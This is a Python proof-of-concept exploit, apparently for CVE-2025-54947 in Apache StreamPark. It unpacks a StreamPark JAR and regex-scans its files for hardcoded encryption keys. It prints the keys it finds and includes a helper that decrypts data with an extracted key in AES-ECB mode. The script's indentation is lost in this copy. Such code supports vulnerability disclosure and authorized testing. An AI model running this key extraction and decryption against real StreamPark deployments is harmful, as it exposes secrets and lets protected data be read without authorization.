# CVE-2025-54947 PoC - Hardcoded Encryption Key Extraction
# This PoC demonstrates extracting hardcoded keys from Apache StreamPark
import zipfile
import os
import re
def extract_jar(jar_path, extract_dir):
"""Extract JAR file contents"""
with zipfile.ZipFile(jar_path, 'r') as zip_ref:
zip_ref.extractall(extract_dir)
def search_hardcoded_keys(directory):
"""Search for hardcoded encryption keys in decompiled files"""
key_patterns = [
r'(?i)(?:AES|DES|RSA|ENCRYPT).{0,20}?=\s*["\']([a-zA-Z0-9+/=]{16,})["\']',
r'(?i)KEY\s*=\s*["\']([a-zA-Z0-9]{16,64})["\']',
r'(?i)(?:SECRET|PRIVATE).{0,20}?=\s*["\']([a-zA-Z0-9+/=]{16,})["\']',
r'Base64\.decode\(["\']([a-zA-Z0-9+/=]{20,})["\']'
]
findings = []
for root, dirs, files in os.walk(directory):
for file in files:
if file.endswith(('.java', '.class', '.properties', '.yml')):
filepath = os.path.join(root, file)
try:
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
for pattern in key_patterns:
matches = re.findall(pattern, content)
for match in matches:
findings.append({
'file': filepath,
'key': match,
'pattern': pattern
})
except Exception as e:
print(f"Error reading {filepath}: {e}")
return findings
def decrypt_with_key(encrypted_data, key):
"""Decrypt data using extracted key"""
# Implementation depends on the encryption algorithm used
# Example using AES-ECB mode (commonly found in hardcoded key scenarios)
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
try:
cipher = AES.new(key.encode('utf-8'), AES.MODE_ECB)
decrypted = unpad(cipher.decrypt(encrypted_data), AES.block_size)
return decrypted.decode('utf-8')
except Exception as e:
return f"Decryption failed: {e}"
# Main execution
if __name__ == "__main__":
streampark_jar = "streampark-common.jar"
extract_dir = "extracted"
print("CVE-2025-54947 PoC - Extracting hardcoded keys from Apache StreamPark")
print("=" * 70)
# Extract JAR
if os.path.exists(streampark_jar):
extract_jar(streampark_jar, extract_dir)
print(f"[+] Extracted {streampark_jar} to {extract_dir}")
# Search for keys
findings = search_hardcoded_keys(extract_dir)
if findings:
print(f"\n[+] Found {len(findings)} potential hardcoded keys:")
for i, finding in enumerate(findings, 1):
print(f"\n[{i}] File: {finding['file']}")
print(f" Key: {finding['key']}")
else:
print("[-] No hardcoded keys found")
print("\n[!] Note: This PoC is for authorized security testing only")